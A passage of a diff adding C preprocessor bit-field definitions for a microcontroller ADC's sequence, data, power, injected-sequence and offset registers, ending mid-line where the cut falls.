+#define ADC_SQR2_SQ6_Msk (0x1FUL << ADC_SQR2_SQ6_Pos) /*!< 0x000007C0 */ +#define ADC_SQR2_SQ6 ADC_SQR2_SQ6_Msk /*!< ADC 6th conversion in regular sequence */ +#define ADC_SQR2_SQ6_0 (0x01UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000040 */ +#define ADC_SQR2_SQ6_1 (0x02UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000080 */ +#define ADC_SQR2_SQ6_2 (0x04UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000100 */ +#define ADC_SQR2_SQ6_3 (0x08UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000200 */ +#define ADC_SQR2_SQ6_4 (0x10UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000400 */ + +#define ADC_SQR2_SQ7_Pos (12UL) +#define ADC_SQR2_SQ7_Msk (0x1FUL << ADC_SQR2_SQ7_Pos) /*!< 0x0001F000 */ +#define ADC_SQR2_SQ7 ADC_SQR2_SQ7_Msk /*!< ADC 7th conversion in regular sequence */ +#define ADC_SQR2_SQ7_0 (0x01UL << ADC_SQR2_SQ7_Pos) /*!< 0x00001000 */ +#define ADC_SQR2_SQ7_1 (0x02UL << ADC_SQR2_SQ7_Pos) /*!< 0x00002000 */ +#define ADC_SQR2_SQ7_2 (0x04UL << ADC_SQR2_SQ7_Pos) /*!< 0x00004000 */ +#define ADC_SQR2_SQ7_3 (0x08UL << ADC_SQR2_SQ7_Pos) /*!< 0x00008000 */ +#define ADC_SQR2_SQ7_4 (0x10UL << ADC_SQR2_SQ7_Pos) /*!< 0x00010000 */ + +#define ADC_SQR2_SQ8_Pos (18UL) +#define ADC_SQR2_SQ8_Msk (0x1FUL << ADC_SQR2_SQ8_Pos) /*!< 0x007C0000 */ +#define ADC_SQR2_SQ8 ADC_SQR2_SQ8_Msk /*!< ADC 8th conversion in regular sequence */ +#define ADC_SQR2_SQ8_0 (0x01UL << ADC_SQR2_SQ8_Pos) /*!< 0x00040000 */ +#define ADC_SQR2_SQ8_1 (0x02UL << ADC_SQR2_SQ8_Pos) /*!< 0x00080000 */ +#define ADC_SQR2_SQ8_2 (0x04UL << ADC_SQR2_SQ8_Pos) /*!< 0x00100000 */ +#define ADC_SQR2_SQ8_3 (0x08UL << ADC_SQR2_SQ8_Pos) /*!< 0x00200000 */ +#define ADC_SQR2_SQ8_4 (0x10UL << ADC_SQR2_SQ8_Pos) /*!< 0x00400000 */ + +#define ADC_SQR2_SQ9_Pos (24UL) +#define ADC_SQR2_SQ9_Msk (0x1FUL << ADC_SQR2_SQ9_Pos) /*!< 0x1F000000 */ +#define ADC_SQR2_SQ9 ADC_SQR2_SQ9_Msk /*!< ADC 9th conversion in regular sequence */ +#define ADC_SQR2_SQ9_0 (0x01UL << ADC_SQR2_SQ9_Pos) /*!< 0x01000000 */ +#define ADC_SQR2_SQ9_1 (0x02UL << ADC_SQR2_SQ9_Pos) /*!< 0x02000000 */ +#define ADC_SQR2_SQ9_2 (0x04UL << ADC_SQR2_SQ9_Pos) /*!< 0x04000000 */ +#define ADC_SQR2_SQ9_3 (0x08UL << ADC_SQR2_SQ9_Pos) /*!< 0x08000000 */ +#define ADC_SQR2_SQ9_4 (0x10UL << ADC_SQR2_SQ9_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR3 register ********************/ +#define ADC_SQR3_SQ10_Pos (0UL) +#define ADC_SQR3_SQ10_Msk (0x1FUL << ADC_SQR3_SQ10_Pos) /*!< 0x0000001F */ +#define ADC_SQR3_SQ10 ADC_SQR3_SQ10_Msk /*!< ADC 10th conversion in regular sequence */ +#define ADC_SQR3_SQ10_0 (0x01UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000001 */ +#define ADC_SQR3_SQ10_1 (0x02UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000002 */ +#define ADC_SQR3_SQ10_2 (0x04UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000004 */ +#define ADC_SQR3_SQ10_3 (0x08UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000008 */ +#define ADC_SQR3_SQ10_4 (0x10UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000010 */ + +#define ADC_SQR3_SQ11_Pos (6UL) +#define ADC_SQR3_SQ11_Msk (0x1FUL << ADC_SQR3_SQ11_Pos) /*!< 0x000007C0 */ +#define ADC_SQR3_SQ11 ADC_SQR3_SQ11_Msk /*!< ADC 11th conversion in regular sequence */ +#define ADC_SQR3_SQ11_0 (0x01UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000040 */ +#define ADC_SQR3_SQ11_1 (0x02UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000080 */ +#define ADC_SQR3_SQ11_2 (0x04UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000100 */ +#define ADC_SQR3_SQ11_3 (0x08UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000200 */ +#define ADC_SQR3_SQ11_4 (0x10UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000400 */ + +#define ADC_SQR3_SQ12_Pos (12UL) +#define ADC_SQR3_SQ12_Msk (0x1FUL << ADC_SQR3_SQ12_Pos) /*!< 0x0001F000 */ +#define ADC_SQR3_SQ12 ADC_SQR3_SQ12_Msk /*!< ADC 12th conversion in regular sequence */ +#define ADC_SQR3_SQ12_0 (0x01UL << ADC_SQR3_SQ12_Pos) /*!< 0x00001000 */ +#define ADC_SQR3_SQ12_1 (0x02UL << ADC_SQR3_SQ12_Pos) /*!< 0x00002000 */ +#define ADC_SQR3_SQ12_2 (0x04UL << ADC_SQR3_SQ12_Pos) /*!< 0x00004000 */ +#define ADC_SQR3_SQ12_3 (0x08UL << ADC_SQR3_SQ12_Pos) /*!< 0x00008000 */ +#define ADC_SQR3_SQ12_4 (0x10UL << ADC_SQR3_SQ12_Pos) /*!< 0x00010000 */ + +#define ADC_SQR3_SQ13_Pos (18UL) +#define ADC_SQR3_SQ13_Msk (0x1FUL << ADC_SQR3_SQ13_Pos) /*!< 0x007C0000 */ +#define ADC_SQR3_SQ13 ADC_SQR3_SQ13_Msk /*!< ADC 13th conversion in regular sequence */ +#define ADC_SQR3_SQ13_0 (0x01UL << ADC_SQR3_SQ13_Pos) /*!< 0x00040000 */ +#define ADC_SQR3_SQ13_1 (0x02UL << ADC_SQR3_SQ13_Pos) /*!< 0x00080000 */ +#define ADC_SQR3_SQ13_2 (0x04UL << ADC_SQR3_SQ13_Pos) /*!< 0x00100000 */ +#define ADC_SQR3_SQ13_3 (0x08UL << ADC_SQR3_SQ13_Pos) /*!< 0x00200000 */ +#define ADC_SQR3_SQ13_4 (0x10UL << ADC_SQR3_SQ13_Pos) /*!< 0x00400000 */ + +#define ADC_SQR3_SQ14_Pos (24UL) +#define ADC_SQR3_SQ14_Msk (0x1FUL << ADC_SQR3_SQ14_Pos) /*!< 0x1F000000 */ +#define ADC_SQR3_SQ14 ADC_SQR3_SQ14_Msk /*!< ADC 14th conversion in regular sequence */ +#define ADC_SQR3_SQ14_0 (0x01UL << ADC_SQR3_SQ14_Pos) /*!< 0x01000000 */ +#define ADC_SQR3_SQ14_1 (0x02UL << ADC_SQR3_SQ14_Pos) /*!< 0x02000000 */ +#define ADC_SQR3_SQ14_2 (0x04UL << ADC_SQR3_SQ14_Pos) /*!< 0x04000000 */ +#define ADC_SQR3_SQ14_3 (0x08UL << ADC_SQR3_SQ14_Pos) /*!< 0x08000000 */ +#define ADC_SQR3_SQ14_4 (0x10UL << ADC_SQR3_SQ14_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR4 register ********************/ +#define ADC_SQR4_SQ15_Pos (0UL) +#define ADC_SQR4_SQ15_Msk (0x1FUL << ADC_SQR4_SQ15_Pos) /*!< 0x0000001F */ +#define ADC_SQR4_SQ15 ADC_SQR4_SQ15_Msk /*!< ADC 15th conversion in regular sequence */ +#define ADC_SQR4_SQ15_0 (0x01UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000001 */ +#define ADC_SQR4_SQ15_1 (0x02UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000002 */ +#define ADC_SQR4_SQ15_2 (0x04UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000004 */ +#define ADC_SQR4_SQ15_3 (0x08UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000008 */ +#define ADC_SQR4_SQ15_4 (0x10UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000010 */ + +#define ADC_SQR4_SQ16_Pos (6UL) +#define ADC_SQR4_SQ16_Msk (0x1FUL << ADC_SQR4_SQ16_Pos) /*!< 0x000007C0 */ +#define ADC_SQR4_SQ16 ADC_SQR4_SQ16_Msk /*!< ADC 16th conversion in regular sequence */ +#define ADC_SQR4_SQ16_0 (0x01UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000040 */ +#define ADC_SQR4_SQ16_1 (0x02UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000080 */ +#define ADC_SQR4_SQ16_2 (0x04UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000100 */ +#define ADC_SQR4_SQ16_3 (0x08UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000200 */ +#define ADC_SQR4_SQ16_4 (0x10UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000400 */ +/******************** Bit definition for ADC_DR register ********************/ +#define ADC_DR_RDATA_Pos (0UL) +#define ADC_DR_RDATA_Msk (0xFFFFFFFFUL << ADC_DR_RDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_DR_RDATA ADC_DR_RDATA_Msk /*!< ADC regular Data converted */ + +/******************** Bit definition for ADC_PW register ********************/ +#define ADC4_PWRR_AUTOFF_Pos (0UL) +#define ADC4_PWRR_AUTOFF_Msk (0x1UL << ADC4_PWRR_AUTOFF_Pos) /*!< 0x00000001 */ +#define ADC4_PWRR_AUTOFF ADC4_PWRR_AUTOFF_Msk /*!< ADC Auto-Off mode */ +#define ADC4_PWRR_DPD_Pos (1UL) +#define ADC4_PWRR_DPD_Msk (0x1UL << ADC4_PWRR_DPD_Pos) /*!< 0x00000002 */ +#define ADC4_PWRR_DPD ADC4_PWRR_DPD_Msk /*!< ADC Deep Power mode */ +#define ADC4_PWRR_VREFPROT_Pos (2UL) +#define ADC4_PWRR_VREFPROT_Msk (0x1UL << ADC4_PWRR_VREFPROT_Pos) /*!< 0x00000004 */ +#define ADC4_PWRR_VREFPROT ADC4_PWRR_VREFPROT_Msk /*!< ADC Vref protection */ +#define ADC4_PWRR_VREFSECSMP_Pos (3UL) +#define ADC4_PWRR_VREFSECSMP_Msk (0x1UL << ADC4_PWRR_VREFSECSMP_Pos) /*!< 0x00000008 */ +#define ADC4_PWRR_VREFSECSMP ADC4_PWRR_VREFSECSMP_Msk /*!< ADC Vref Second Sample */ + +/* Legacy definitions */ +#define ADC4_PW_AUTOFF_Pos ADC4_PWRR_AUTOFF_Pos +#define ADC4_PW_AUTOFF_Msk ADC4_PWRR_AUTOFF_Msk +#define ADC4_PW_AUTOFF ADC4_PWRR_AUTOFF +#define ADC4_PW_DPD_Pos ADC4_PWRR_DPD_Pos +#define ADC4_PW_DPD_Msk ADC4_PWRR_DPD_Msk +#define ADC4_PW_DPD ADC4_PWRR_DPD +#define ADC4_PW_VREFPROT_Pos ADC4_PWRR_VREFPROT_Pos +#define ADC4_PW_VREFPROT_Msk ADC4_PWRR_VREFPROT_Msk +#define ADC4_PW_VREFPROT ADC4_PWRR_VREFPROT +#define ADC4_PW_VREFSECSMP_Pos ADC4_PWRR_VREFSECSMP_Pos +#define ADC4_PW_VREFSECSMP_Msk ADC4_PWRR_VREFSECSMP_Msk +#define ADC4_PW_VREFSECSMP ADC4_PWRR_VREFSECSMP + +/******************** Bit definition for ADC_JSQR register ********************/ +#define ADC_JSQR_JL_Pos (0UL) +#define ADC_JSQR_JL_Msk (0x3UL << ADC_JSQR_JL_Pos) /*!< 0x00000003 */ +#define ADC_JSQR_JL ADC_JSQR_JL_Msk /*!< ADC injected channel sequence length */ +#define ADC_JSQR_JL_0 (0x1UL << ADC_JSQR_JL_Pos) /*!< 0x00000001 */ +#define ADC_JSQR_JL_1 (0x2UL << ADC_JSQR_JL_Pos) /*!< 0x00000002 */ + +#define ADC_JSQR_JEXTSEL_Pos (2UL) +#define ADC_JSQR_JEXTSEL_Msk (0x1FUL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x0000007C */ +#define ADC_JSQR_JEXTSEL ADC_JSQR_JEXTSEL_Msk /*!< ADC external trigger selection for injected group */ +#define ADC_JSQR_JEXTSEL_0 (0x01UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000004 */ +#define ADC_JSQR_JEXTSEL_1 (0x02UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000008 */ +#define ADC_JSQR_JEXTSEL_2 (0x04UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000010 */ +#define ADC_JSQR_JEXTSEL_3 (0x08UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_JSQR_JEXTSEL_4 (0x10UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000040 */ + +#define ADC_JSQR_JEXTEN_Pos (7UL) +#define ADC_JSQR_JEXTEN_Msk (0x3UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000180 */ +#define ADC_JSQR_JEXTEN ADC_JSQR_JEXTEN_Msk /*!< ADC external trigger enable and polarity selection for injected channels */ +#define ADC_JSQR_JEXTEN_0 (0x1UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000080 */ +#define ADC_JSQR_JEXTEN_1 (0x2UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000100 */ + +#define ADC_JSQR_JSQ1_Pos (9UL) +#define ADC_JSQR_JSQ1_Msk (0x1FUL << ADC_JSQR_JSQ1_Pos) /*!< 0x00003E00 */ +#define ADC_JSQR_JSQ1 ADC_JSQR_JSQ1_Msk /*!< ADC 1st conversion in injected sequence */ +#define ADC_JSQR_JSQ1_0 (0x01UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000200 */ +#define ADC_JSQR_JSQ1_1 (0x02UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000400 */ +#define ADC_JSQR_JSQ1_2 (0x04UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000800 */ +#define ADC_JSQR_JSQ1_3 (0x08UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00001000 */ +#define ADC_JSQR_JSQ1_4 (0x10UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00002000 */ + +#define ADC_JSQR_JSQ2_Pos (15UL) +#define ADC_JSQR_JSQ2_Msk (0x1FUL << ADC_JSQR_JSQ2_Pos) /*!< 0x000F8000 */ +#define ADC_JSQR_JSQ2 ADC_JSQR_JSQ2_Msk /*!< ADC 2nd conversion in injected sequence */ +#define ADC_JSQR_JSQ2_0 (0x01UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00008000 */ +#define ADC_JSQR_JSQ2_1 (0x02UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00010000 */ +#define ADC_JSQR_JSQ2_2 (0x04UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00020000 */ +#define ADC_JSQR_JSQ2_3 (0x08UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00040000 */ +#define ADC_JSQR_JSQ2_4 (0x10UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00080000 */ + +#define ADC_JSQR_JSQ3_Pos (21UL) +#define ADC_JSQR_JSQ3_Msk (0x1FUL << ADC_JSQR_JSQ3_Pos) /*!< 0x03E00000 */ +#define ADC_JSQR_JSQ3 ADC_JSQR_JSQ3_Msk /*!< ADC 3rd conversion in injected sequence */ +#define ADC_JSQR_JSQ3_0 (0x01UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00200000 */ +#define ADC_JSQR_JSQ3_1 (0x02UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00400000 */ +#define ADC_JSQR_JSQ3_2 (0x04UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00800000 */ +#define ADC_JSQR_JSQ3_3 (0x08UL << ADC_JSQR_JSQ3_Pos) /*!< 0x01000000 */ +#define ADC_JSQR_JSQ3_4 (0x10UL << ADC_JSQR_JSQ3_Pos) /*!< 0x02000000 */ + +#define ADC_JSQR_JSQ4_Pos (27UL) +#define ADC_JSQR_JSQ4_Msk (0x1FUL << ADC_JSQR_JSQ4_Pos) /*!< 0xF8000000 */ +#define ADC_JSQR_JSQ4 ADC_JSQR_JSQ4_Msk /*!< ADC 4th conversion in injected sequence */ +#define ADC_JSQR_JSQ4_0 (0x01UL << ADC_JSQR_JSQ4_Pos) /*!< 0x08000000 */ +#define ADC_JSQR_JSQ4_1 (0x02UL << ADC_JSQR_JSQ4_Pos) /*!< 0x10000000 */ +#define ADC_JSQR_JSQ4_2 (0x04UL << ADC_JSQR_JSQ4_Pos) /*!< 0x20000000 */ +#define ADC_JSQR_JSQ4_3 (0x08UL << ADC_JSQR_JSQ4_Pos) /*!< 0x40000000 */ +#define ADC_JSQR_JSQ4_4 (0x10UL << ADC_JSQR_JSQ4_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OFR1 register ********************/ +#define ADC_OFR1_OFFSET1_Pos (0UL) +#define ADC_OFR1_OFFSET1_Msk (0x00FFFFFFUL << ADC_OFR1_OFFSET1_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR1_OFFSET1 ADC_OFR1_OFFSET1_Msk /*!< ADC data offset 1 for channel programmed into bits OFFSET1_CH[4:0] */ +#define ADC_OFR1_OFFSET1_0 (0x0000001UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000001 */ +#define ADC_OFR1_OFFSET1_1 (0x0000002UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000002 */ +#define ADC_OFR1_OFFSET1_2 (0x0000004UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000004 */ +#define ADC_OFR1_OFFSET1_3 (0x0000008UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000008 */ +#define ADC_OFR1_OFFSET1_4 (0x0000010UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000010 */ +#define ADC_OFR1_OFFSET1_5 (0x0000020UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000020 */ +#define ADC_OFR1_OFFSET1_6 (0x0000040UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000040 */ +#define ADC_OFR1_OFFSET1_7 (0x0000080UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000080 */ +#define ADC_OFR1_OFFSET1_8 (0x0000100UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000100 */ +#define ADC_OFR1_OFFSET1_9 (0x0000200UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000200 */ +#define ADC_OFR1_OFFSET1_10 (0x0000400UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000400 */ +#define ADC_OFR1_OFFSET1_11 (0x0000800UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000800 */ +#define ADC_OFR1_OFFSET1_12 (0x0001000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00001000 */ +#define ADC_OFR1_OFFSET1_13 (0x0002000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00002000 */ +#define ADC_OFR1_OFFSET1_14 (0x0004000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00004000 */ +#define ADC_OFR1_OFFSET1_15 (0x0008000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00008000 */ +#define ADC_OFR1_OFFSET1_16 (0x0010000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00010000 */ +#define ADC_OFR1_OFFSET1_17 (0x0020000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00020000 */ +#define ADC_OFR1_OFFSET1_18 (0x0040000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00040000 */ +#define ADC_OFR1_OFFSET1_19 (0x0080000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00080000 */ +#define ADC_OFR1_OFFSET1_20 (0x0100000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00100000 */ +#define ADC_OFR1_OFFSET1_21 (0x0200000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00200000 */ +#define ADC_OFR1_OFFSET1_22 (0x0400000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00400000 */ +#define ADC_OFR1_OFFSET1_23 (0x0800000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00800000 */ + +#define ADC_OFR1_OFFSETPOS_Pos (24UL) +#define ADC_OFR1_OFFSETPOS_Msk (0x1UL << ADC_OFR1_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR1_OFFSETPOS ADC_OFR1_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR1_USAT_Pos (25UL) +#define ADC_OFR1_USAT_Msk (0x1UL << ADC_OFR1_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR1_USAT ADC_OFR1_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR1_SSAT_Pos (26UL) +#define ADC_OFR1_SSAT_Msk (0x1UL << ADC_OFR1_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR1_SSAT ADC_OFR1_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR1_OFFSET1_CH_Pos (27UL) +#define ADC_OFR1_OFFSET1_CH_Msk (0x1FUL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR1_OFFSET1_CH ADC_OFR1_OFFSET1_CH_Msk /*!< ADC Channel selection for the data offset 1 */ +#define ADC_OFR1_OFFSET1_CH_0 (0x01UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR1_OFFSET1_CH_1 (0x02UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR1_OFFSET1_CH_2 (0x04UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR1_OFFSET1_CH_3 (0x08UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR1_OFFSET1_CH_4 (0x10UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR2 register ********************/ +#define ADC_OFR2_OFFSET2_Pos (0UL) +#define ADC_OFR2_OFFSET2_Msk (0x00FFFFFFUL << ADC_OFR2_OFFSET2_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR2_OFFSET2 ADC_OFR2_OFFSET2_Msk /*!< ADC data offset 2 for channel programmed into bits OFFSET2_CH[4:0] */ +#define ADC_OFR2_OFFSET2_0 (0x0000001UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000001 */ +#define ADC_OFR2_OFFSET2_1 (0x0000002UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000002 */ +#define ADC_OFR2_OFFSET2_2 (0x0000004UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000004 */ +#define ADC_OFR2_OFFSET2_3 (0x0000008UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000008 */ +#define ADC_OFR2_OFFSET2_4 (0x0000010UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000010 */ +#define ADC_OFR2_OFFSET2_5 (0x0000020UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000020 */ +#define ADC_OFR2_OFFSET2_6 (0x0000040UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000040 */ +#define ADC_OFR2_OFFSET2_7 (0x0000080UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000080 */ +#define ADC_OFR2_OFFSET2_8 (0x0000100UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000100 */ +#define ADC_OFR2_OFFSET2_9 (0x0000200UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000200 */ +#define ADC_OFR2_OFFSET2_10 (0x0000400UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000400 */ +#define ADC_OFR2_OFFSET2_11 (0x0000800UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000800 */ +#define ADC_OFR2_OFFSET2_12 (0x0001000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00001000 */ +#define ADC_OFR2_OFFSET2_13 (0x0002000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00002000 */ +#define ADC_OFR2_OFFSET2_14 (0x0004000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00004000 */ +#define ADC_OFR2_OFFSET2_15 (0x0008000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00008000 */ +#define ADC_OFR2_OFFSET2_16 (0x0010000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00010000 */ +#define ADC_OFR2_OFFSET2_17 (0x0020000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00020000 */ +#define ADC_OFR2_OFFSET2_18 (0x0040000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00040000 */ +#define ADC_OFR2_OFFSET2_19 (0x0080000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00080000 */ +#define ADC_OFR2_OFFSET2_20 (0x0100000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00100000 */ +#define ADC_OFR2_OFFSET2_21 (0x0200000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00200000 */ +#define ADC_OFR2_OFFSET2_22 (0x0400000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00400000 */ +#define ADC_OFR2_OFFSET2_23 (0x0800000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00800000 */ + +#define ADC_OFR2_OFFSETPOS_Pos (24UL) +#define ADC_OFR2_OFFSETPOS_Msk (0x1UL << ADC_OFR2_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR2_OFFSETPOS ADC_OFR2_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR2_USAT_Pos (25UL) +#define ADC_OFR2_USAT_Msk (0x1UL << ADC_OFR2_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR2_USAT ADC_OFR2_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR2_SSAT_Pos (26UL) +#define ADC_OFR2_SSAT_Msk (0x1UL << ADC_OFR2_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR2_SSAT ADC_OFR2_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR2_OFFSET2_CH_Pos (27UL) +#define ADC_OFR2_OFFSET2_CH_Msk (0x1FUL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR2_OFFSET2_CH ADC_OFR2_OFFSET2_CH_Msk /*!< ADC Channel selection for the data offset 2 */ +#define ADC_OFR2_OFFSET2_CH_0 (0x01UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR2_OFFSET2_CH_1 (0x02UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR2_OFFSET2_CH_2 (0x04UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR2_OFFSET2_CH_3 (0x08UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR2_OFFSET2_CH_4 (0x10UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR3 register ********************/ +#define ADC_OFR3_OFFSET3_Pos (0UL) +#define ADC_OFR3_OFFSET3_Msk (0x00FFFFFFUL << ADC_OFR3_OFFSET3_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR3_OFFSET3 ADC_OFR3_OFFSET3_Msk /*!< ADC data offset 3 for channel programmed into bits OFFSET3_CH[4:0] */ +#define ADC_OFR3_OFFSET3_0 (0x0000001UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000001 */ +#define ADC_OFR3_OFFSET3_1 (0x0000002UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000002 */ +#define ADC_OFR3_OFFSET3_2 (0x0000004UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000004 */ +#define ADC_OFR3_OFFSET3_3 (0x0000008UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000008 */ +#define ADC_OFR3_OFFSET3_4 (0x0000010UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000010 */ +#define ADC_OFR3_OFFSET3_5 (0x0000020UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000020 */ +#define ADC_OFR3_OFFSET3_6 (0x0000040UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000040 */ +#define ADC_OFR3_OFFSET3_7 (0x0000080UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000080 */ +#define ADC_OFR3_OFFSET3_8 (0x0000100UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000100 */ +#define ADC_OFR3_OFFSET3_9 (0x0000200UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000200 */ +#define ADC_OFR3_OFFSET3_10 (0x0000400UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000400 */ +#define ADC_OFR3_OFFSET3_11 (0x0000800UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000800 */ +#define ADC_OFR3_OFFSET3_12 (0x0001000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00001000 */ +#define 